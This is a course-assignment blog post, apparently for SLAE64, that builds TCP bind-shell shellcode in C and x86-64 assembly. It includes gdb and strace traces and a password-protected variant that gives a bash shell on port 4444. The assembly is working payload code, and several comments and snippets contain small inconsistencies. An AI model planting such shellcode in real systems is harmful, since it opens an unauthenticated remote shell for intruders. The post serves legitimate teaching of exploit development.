SLAE64 Assignment 1 - TCP Bind-Shell Shellcode
Bindshell Analysis
To better understand x64 shellcode, I first created a working bindshell in C.
Bindshell.c
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <stdlib.h>
int main(void)
{
int ipv4Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
struct sockaddr_in ipSocketAddr = {
.sin_family = AF_INET,
.sin_port = htons(4444),
.sin_addr.s_addr = htonl(INADDR_ANY)
};
bind(ipv4Socket, (struct sockaddr*) &ipSocketAddr, sizeof(ipSocketAddr));
listen(ipv4Socket, 0);
int clientSocket = accept(ipv4Socket, NULL, NULL);
dup2(clientSocket, 0);
dup2(clientSocket, 1);
dup2(clientSocket, 2);
execve("/bin/bash", NULL, NULL);
}
Compile Shellcode
root# uname -orm
5.3.0-amd64 x86_64 GNU/Linux
root# gcc bindshell.c -o bindshell
Test Shellcode
Terminal 1
root# ./bindshell
Terminal 2
root# nc 127.0.0.1 4444
whoami
root
Function Analysis
1. Create a new Socket.
socket(int domain, int type, int protocol);
socket(AF_INET, SOCK_STREAM, IPPROTO_IP );
socket parameters
int domain = AF_INET
- IPv4 Internet protocols.
int type = SOCK_STREAM
- Provides sequenced, reliable, two-way, connection-based byte streams (TCP).
int protocol = IPPROTO_IP
- The protocol to be used with the socket.
- With only one protocol option in the address family, the value
0x0
is used.
2. Create an IP Socket Address structure.
struct sockaddr_in {
sa_family_t sin_family; /* address family: AF_INET */
in_port_t sin_port; /* port in network byte order */
struct in_addr sin_addr; /* internet address */
};
struct in_addr {
uint32_t s_addr; /* address in network byte order */
};
struct sockaddr_in ipSocketAddr = {
.sin_family = AF_INET,
.sin_port = htons(4444),
.sin_addr.s_addr = htonl(INADDR_ANY)
};
- An IP socket address is defined as a combination of an IP interface address and a 16-bit port number.
struct sockaddr parameters
sa_family_t sin_family = AF_INET
- From Socket, we know that we will need to use the Address Family
AF_INET
in_port_t sin_port = htons(4444)
- TCP Port 4444
- The
htons()
function converts our decimal integer to 16-byte little-endian hex (aka “network byte order”) - TCP ports are 16 bits (2 bytes).
struct in_addr sin_addr = htonl(INADDR_ANY)
- All interfaces.
- The
htonl()
function converts our decimal integer to 32-byte little-endian hex. - IPv4 addresses are 32 bits (4 bytes).
3. Bind the IP Socket Address to Socket.
int bind(int sockfd, const struct sockaddr \*addr, socklen\_t addrlen);`
bind(ipv4Socket, (struct sockaddr*) &ipSocketAddr, sizeof(ipSocketAddr));
- For complete details see:
man bind
bind parameters
sockfd = ipv4Socket
- The socket file descriptor returned from
socket()
and saved as the variableipv4Socket
.
const struct sockaddr *addr = &ipSocketAddr
- A pointer to the IP Socket Address structure
ipSocketAddr
.
socklen_t addrlen = sizeof(ipSocketAddr)
- The byte length of our
ipSocketAddr
structure. sizeof()
returns the length in bytes of the variable.
4. Listen for connections to the TCP Socket at the IP Socket Address.
int listen(int sockfd, int backlog);
listen(ipv4Socket, 0);
- For complete details see:
man listen
listen Parameters
int sockfd = ipv4Socket
int backlog = 0
- This is for handling multiple connections.
- We only need to handle one connection at a time, therefor we will set this value to
0
.
5. Accept connections to the TCP-IP Socket and create a Client Socket.
int accept4(int sockfd, struct sockaddr *addr, socklen_t *addrlen, int flags);
int clientSocket = accept(ipv4Socket, NULL, NULL);
- For complete details see:
man accept
accept parameters
int sockfd = ipv4Socket
struct sockaddr *addr = NULL
- This structure is filled in with the address of the peer socket.
socklen_t *addrlen = NULL
- When addr is NULL, nothing is filled in; in this case, addrlen is not used, and should also be NULL.
int flags = NULL
- The function will return the new Socket File-Descriptor. Save as
clientSocket
6. Transfer Standard-Input, Standard-Output, and Standard-Error to the client socket.
int dup2(int oldfd, int newfd);
dup2(clientSocket, 0); // STDIN
dup2(clientSocket, 1); // STDOUT
dup2(clientSocket, 2); // STDERR
- For complete details see:
man dup2
- We will need to call this function 3 times to transfer Standard Input, Standard Output and Standard Error
7. Spawn a /bin/sh
shell for the client, in the connected session.
int execve(const char *pathname, char *const argv[], char *const envp[]);
execve("/bin/sh", NULL, NULL);
- For complete details see:
man execve
execve() parameters
const char *pathname = "/bin/sh"
char *const argv[] = NULL
char *const envp[] = NULL
Trace System-Calls
Use strace
to see system calls as the shellcode
executes.
strace
will show us all of the system calls that occur within the program.- I removed all of the system-calls that were irrelevant from the system trace output.
root# strace ./bindshell
socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
- The returned
Socket File-Descriptor
for our new socket is ‘3’.
bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 0) = 0
accept(3, NULL, NULL
- We can see our program hangs at
accept(
. - To satisfy the accept function, we connect with
nc 127.0.0.1 4444
.
accept(3, NULL, NULL) = 4
dup2(4, 0) = 0
dup2(4, 1) = 1
dup2(4, 2) = 2
execve("/bin/bash", NULL, NULL) = 0
- The accept function takes in the socket handle returned from
socket()
, and returns a new socket handle4
that will be used for the client connection. - We take the client socket handle
4
and use it as an arugment for ourdup2()
functions. - The
0
,1
, and2
are the handles for input, output and error.
Trace Library Calls
Use ltrace
to see library calls as the program executes.
- I removed all of the library calls that were irrelevant from the library trace output.
socket(2, 1, 0) = 3
htons(4444, 1, 0, 0x7f05dfff78d7) = 0x5c11
htonl(0, 1, 0, 0x7f05dfff78d7) = 0
bind(3, 0x7ffe5256d920, 16, 0x7ffe5256d920) = 0
listen(3, 0, 16, 0x7f05dfff72a7) = 0
accept(3, 0, 0, 0x7f05dfff7407) = 4
dup2(4, 0) = 0
dup2(4, 1) = 1
dup2(4, 2) = 2
execve(0x5597bd4ce004, 0, 0, 0x7f05dffe8027 <no return ...>
GDB Analysis
Calling Order for System Calls
- RAX = System Call Number
- RDI = 1st Argument
- RSI = 2nd Argument
- RDX = 3rd Argument
bind()
root# gdb ./bindshell
GNU gdb (Debian 8.3.1-1) 8.3.1
gdb-peda$ info functions
0x0000000000001030 htons@plt
0x0000000000001040 dup2@plt
0x0000000000001050 htonl@plt
0x0000000000001060 execve@plt
0x0000000000001070 listen@plt
0x0000000000001080 bind@plt
0x0000000000001090 accept@plt
0x00000000000010a0 socket@plt
gdb-peda$ break bind@plt
Breakpoint 1 at 0x1080
gdb-peda$ run
RAX = 0x31 - bind syscall
=> 0x7ffff7edf2a0 <bind>: mov eax,0x31
RDI = 0x3 - int sockfd
- returned from socket()
RDI: 0x3
RSI = const struct sockaddr *addr
RSI: 0x7fffffffe130 --> 0x5c110002
gdb-peda$ hexdump 0x7fffffffe130 16
0x00007fffffffe130 : 02 00 11 5c 00 00 00 00 00 00 00 00 00 00 00 00
RDX = socklen_t addrlen
RDX: 0x10
- 0x10 is 16 bytes
struct sockaddr_in ipSocketAddr = {
.sin_family = AF_INET,
.sin_port = htons(4444),
.sin_addr.s_addr = inet_addr("64.128.128.193")
};
-
Mod bindshell.c
-
Compile & investigate changes:
root# gcc bindshell.c -o bshell2
root# gdb ./bshell2
gdb-peda$ b bind@plt
gdb-peda$ r
### STACK ###
0008| 0x7fffffffe130 --> 0xc18080405c110002
0016| 0x7fffffffe138 --> 0x0
### MEMORY EXAMINE ###
gdb-peda$ x/16b 0x00007fffffffe130
0x7fffffffe130: 0x02 0x00 0x11 0x5c 0x40 0x80 0x80 0xc1
0x7fffffffe138: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
gdb-peda$ hexdump 0x00007fffffffe130 16
0x00007fffffffe130 : 02 00 11 5c 40 80 80 c1 00 00 00 00 00 00 00 00
- we can see that changing the
sin_addr.s_addr
parameter changes the 4 bytes from 5 to 8
gdb-peda$ hexdump 0x00007fffffffe134 4
0x00007fffffffe134 : 40 80 80 c1
# The 16 byte struct for the sockaddr_in
02 00 11 5c 40 80 80 c1 00 00 00 00 00 00 00 00
Address-Family| PORT| IP Address| 8 bytes of unused space in IPv4?
man bind
shows that the sockaddr stuct is 16 bytes which is what we see from inspecting the assembly.
struct sockaddr {
sa_family_t sa_family;
char sa_data[14];
}
Bindshell Assembly
- We will state what the assembly parameters will be at time of SYSCALL
Socket
- RAX = 0x29
- socket syscall
gdb-peda$ b socket@plt
Breakpoint 1 at 0x10a0
gdb-peda$ r
=> 0x7ffff7edf8d0 <socket>: mov eax,0x29
0x7ffff7edf8d5 <socket+5>: syscall
- RDI = 0x2
AF_INET
- RSI = 0x1
SOCK_STREAM
- RDX = 0x0
IPPROTO_IP
Socket Assembly
; int ipv4Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
; rax = 0x29
; rdi = 0x2 = AF_INET
; rsi = 0x1 = SOCK_STREAM
; rdx = 0x0 = IPPROTO_IP
xor rsi, rsi ; clear rsi
mul rsi ; clear rax, rdx ; rdx = 0x0 = IPPROTO_IP
inc rsi ; rsi = 0x1 = SOCK_STREAM
push rsi
pop rdi ; rdi = 0x1
inc rdi ; rdi = 0x2 = AF_INET
syscall ; socket syscall ; RAX returns socket File-Descriptor
push rax ; [RSP] = sockfd
Bind
- RAX = 0x31
- bind syscall
- RDI = 0x3
- int sockfd
- RSI = Pointer to 16 bytes on the stack
const struct sockaddr *addr
# stuct sockaddr breakdown
02 00 11 5c 00 00 00 00 00 00 00 00 00 00 00 00
Address-Family| PORT| IP Address| 8 bytes of zeros
- Address-Family =
02 00
- PORT =
11 5c
- TCP Port 4444
- IP Address =
00 00 00 00
- RDX = 0x10 (16 bytes / the size of the struct)
socklen_t addrlen
Bind Assembly
; bind(ipv4Socket, (struct sockaddr*) &ipSocketAddr, sizeof(ipSocketAddr));
; rax = 0x31
; rdi = 0x3 = ipv4Socket
; rsi = &ipSocketAddr
; 02 00 11 5c 00 00 00 00 00 00 00 00 00 00 00 00
; Address-Family| PORT| IP Address| 8 bytes of zeros
; rdx = 0x10
xchg rdi, rax ; RDI = sockfd / ipv4Socket
xor rax, rax
add al, 0x31 ; rax = 0x31 = socket syscall
push rdx ; 8 bytes of zeros for second half of struct
push dx ; 4 bytes of zeros for IPADDR_ANY
push dx ; 4 bytes of zeros for IPADDR_ANY
push word 0x5c11 ; push 2 bytes for TCP Port 4444
inc rdx
inc rdx ; rdx = 0x2 ; dx = 0x0002
push dx ; 0x2 = AF_INET
add dl, 0xe ; rdi = 0x10 = sizeof(ipSocketAddr)
mov rsi, rsp ; rsi = &ipSocketAddr
syscall
Testing
root# nasm -f elf64 bindshell.asm -o bindshell.o
root# ld bindshell.o -o bindshell
root# gdb ./bindshell
[-------------------------------------code-------------------------------------]
0x401025 <_start+37>: inc rdx
0x401028 <_start+40>: push dx
0x40102a <_start+42>: mov rsi,rsp
=> 0x40102d <_start+45>: syscall
gdb-peda$ x/16x $rsp
0x7fffffffe1f0: 0x02 0x00 0x11 0x5c 0x00 0x00 0x00 0x00
0x7fffffffe1f8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
gdb-peda$ hexdump $rsp 16
0x00007fffffffe1f0 : 02 00 11 5c 00 00 00 00 00 00 00 00 00 00 00 00 ...\............
Listen
- RAX = 0x32
- listen system call
=> 0x7ffff7edf400 <listen>: mov eax,0x32
0x7ffff7edf405 <listen+5>: syscall
- RDI = 0x3
- sockfd / socket file-descriptor returned from
socket()
- sockfd / socket file-descriptor returned from
- RSI = 0x0
- backlog
Listen Assembly
; int listen(int sockfd, int backlog);
; rax = 0x32 = listen syscall
; rdi = sockfd = 0x3 = ipv4Socket
; rsi = backlog = 0
xor rax, rax
add al, 0x32
xor rdi, rdi
syscall
Accept
- RAX = 0x2b
- accept syscall
0x7ffff7edf20d <__libc_accept+13>: mov eax,0x2b
0x7ffff7edf212 <__libc_accept+18>: syscall
- RDI = 0x3
- sockfd / socket file-descriptor returned from
socket()
- sockfd / socket file-descriptor returned from
- RSI = NULL / 0x0
sock addr *addr
- RDX = NULL / 0x0
socklen_t *addrlen
Accept Assembly
;accept
; rax = 0x2b
; rdi = sockfd = 0x3 = ipv4Socket
; rsi = 0x0
; rdx = 0x0
xor rax, rax
push rax
push rax
pop rdx
pop rsi
add al, 0x2b
syscall ; accept returns client socket file-descriptor in RAX
Dup2
-
we need to call this 3 times
-
RAX = 0x21
=> 0x7ffff7ed0020 <dup2>: mov eax,0x21
0x7ffff7ed0025 <dup2+5>: syscall
- RDI = 0x4
int oldfd
- This is the socket file descriptor returned from the
accept()
function - This will change and need to be referenced dynamically
Loop through dup2() 3 times
First dup2 call
- RSI = 0x0
int newfd
- Standard Input file descriptor
Second dup2 call
- RSI = 0x1
int newfd
- Standard Output file descriptor
Third dup2 call
- RSI = 0x2
int newfd
- Standard Error file descriptor
dup2 Assembly
; dup2
xchg rdi, rax ; RDI = sockfd / ClientSocketFD
xor rsi, rsi
add dl, 0x3 ; Loop Counter
dup2Loop:
xor rax, rax
add al, 0x21 ; RAX = 0x21 = dup2 systemcall
syscall ; call dup2 x3 to redirect STDIN STDOUT STDERR
inc rsi
cmp rsi, rdx ; if 2-STDERR, end loop
jne dup2Loop
Execve
- RAX = 0x3b
=> 0x7ffff7eabe80 <execve>: mov eax,0x3b
0x7ffff7eabe85 <execve+5>: syscall
- RDI = Pointer to “/bin/bash”
const char *pathname = "/bin/bash"
- Must be null terminated (end the string with a 0x00)
RDI: 0x555555556004 ("/bin/bash")
gdb-peda$ x/10b 0x555555556004
0x555555556004: 0x2f 0x62 0x69 0x6e 0x2f 0x62 0x61 0x73
0x55555555600c: 0x68 0x00
gdb-peda$ x/s 0x555555556004
0x555555556004: "/bin/bash"
-
RSI = 0x0
char *const argv[]
-
RDX = 0x0
char *const envp[]
Execve Assembly
i;execve
; rax = 0x3b
; rdi = Pointer -> "/bin/bash"0x00
;root# python reverse.py "/bin/bash"
;String length : 9
;h : 68
;sab/nib/ : 7361622f6e69622f
; rsi = 0x0
; rdx = 0x0
xor rsi, rsi
mul rsi ; rdx&rax= 0x0
xor rdi, rdi
push rdi
add rdx, 0x68
push rdx
mov rdx, 0x7361622f6e69622f ; "/bin/bas"
push rdx
xor rdx, rdx
mov rdi, rsp
mov al, 0x3b
syscall ; call execve("/bin/bash", NULL, NULL)
Bindshell Assembly with Password
global _start
section .text
_start:
; int ipv4Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
; rax = 0x29
; rdi = 0x2 = AF_INET
; rsi = 0x1 = SOCK_STREAM
; rdx = 0x0 = IPPROTO_IP
xor rsi, rsi ; clear rsi
mul rsi ; clear rax, rdx ; rdx = 0x0 = IPPROTO_IP
add al, 0x29 ; rax = 0x29 = socket syscall
inc rsi ; rsi = 0x1 = SOCK_STREAM
push rsi
pop rdi ; rdi = 0x1
inc rdi ; rdi = 0x2 = AF_INET
syscall ; socket syscall ; RAX returns socket File-Descriptor
; bind(ipv4Socket, (struct sockaddr*) &ipSocketAddr, sizeof(ipSocketAddr));
; rax = 0x31
; rdi = 0x3 = ipv4Socket
; rsi = &ipSocketAddr
; 02 00 11 5c 00 00 00 00 00 00 00 00 00 00 00 00
; Address-Family| PORT| IP Address| 8 bytes of zeros
; rdi = 0x10
xchg rdi, rax ; RDI = sockfd / ipv4Socket
xor rax, rax
add al, 0x31 ; rax = 0x31 = socket syscall
push rdx ; 8 bytes of zeros for second half of struct
push dx ; 4 bytes of zeros for IPADDR_ANY
push dx ; 4 bytes of zeros for IPADDR_ANY
push word 0x5c11 ; push 2 bytes for TCP Port 4444
inc rdx
inc rdx ; rdx = 0x2 ; dx = 0x0002
push dx ; 0x2 = AF_INET
add dl, 0xe ; rdi = 0x10 = sizeof(ipSocketAddr)
mov rsi, rsp ; rsi = &ipSocketAddr
syscall
; int listen(int sockfd, int backlog);
; rax = 0x32 = listen syscall
; rdi = sockfd = 0x3 = ipv4Socket
; rsi = backlog = 0
xor rax, rax
add al, 0x32
xor rsi, rsi
syscall
;accept
; rax = 0x2b
; rdi = sockfd = 0x3 = ipv4Socket
; rsi = 0x0
; rdx = 0x0
xor rax, rax
push rax
push rax
pop rdx
pop rsi
add al, 0x2b
syscall ; accept returns client socket file-descriptor in RAX
; dup2
xchg rdi, rax ; RDI = sockfd / ClientSocketFD
xor rsi, rsi
add dl, 0x3 ; Loop Counter
dup2Loop:
xor rax, rax
add al, 0x21 ; RAX = 0x21 = dup2 systemcall
syscall ; call dup2 x3 to redirect STDIN STDOUT STDERR
inc rsi
cmp rsi, rdx ; if 2-STDERR, end loop
jne dup2Loop
jmp short password
failer:
; write
; rax = 0x1
; rdi = fd = 0x1 STDOUT
; rsi = &String
; rdx = sizeof(String)
;root# python reverse.py "REALLY?!"
;String length : 8
;!?YLLAER : 213f594c4c414552
xor rdi, rdi
mul rdi
push rdi
pop rsi
push rsi
mov rsi, 0x213f594c4c414552
push rsi
mov rsi, rsp ; rsi = &String
inc rax ; rax = 0x1 = write system call
mov rdi, rax
add rdx, 16 ; 16 bytes / size of string
syscall
password:
; write
; rax = 0x1
; rdi = fd = 0x1 STDOUT
; rsi = &String
; rdx = sizeof(String)
;root# python reverse.py "M@G1C WOrDz IZ??"
;String length : 16
;??ZI zDr : 3f3f5a49207a4472
;OW C1G@M : 4f5720433147404d
xor rdi, rdi
mul rdi
push rdi
pop rsi
push rsi
mov rsi, 0x3f3f5a49207a4472
push rsi
mov rsi, 0x4f5720433147404d
push rsi
mov rsi, rsp ; rsi = &String
inc rax ; rax = 0x1 = write system call
mov rdi, rax
add rdx, 16 ; 16 bytes / size of string
syscall
; read
; rax = 0x0 = read systemcall
; rdi = fd = 0x0 STDIN
; rsi = Write to &String
; rdx = 0x12 = sizeof(String)
xor rdi, rdi
push rdi
mul rdi ; rdx =0x0 ; rax = 0x0 = write system call
mov rsi, rsp ; rsi = [RSP] = &String
add rdx, 12 ; 12 bytes / size of password
syscall
; String = P3WP3Wl4ZerZ
; String length : 12
; ZreZ : 5a72655a
; 4lW3PW3P : 346c573350573350
mov rdi, rsp
xor rsi, rsi
add rsi, 0x5a72655a
push rsi
mov rsi, 0x346c573350573350
push rsi
mov rsi, rsp ; rsi = &String
xor rcx, rcx
add rcx, 0xB
repe cmpsb
jnz failer
;execve
; rax = 0x3b
; rdi = Pointer -> "/bin/bash"0x00
;root# python reverse.py "/bin/bash"
;String length : 9
;h : 68
;sab/nib/ : 7361622f6e69622f
; rsi = 0x0
; rdx = 0x0
xor rsi, rsi
mul rsi ; rdx&rax= 0x0
xor rdi, rdi
push rdi
add rdx, 0x68
push rdx
mov rdx, 0x7361622f6e69622f ; "/bin/bas"
push rdx
xor rdx, rdx
mov rdi, rsp
mov al, 0x3b
syscall ; call execve("/bin/bash", NULL, NULL)
SLAE64 Blog Proof
This blog post has been created for completing the requirements of the x86_64 Assembly Language and Shellcoding on Linux (SLAE64):
https://www.pentesteracademy.com/course?id=7
SLAE/Student ID: PA-10913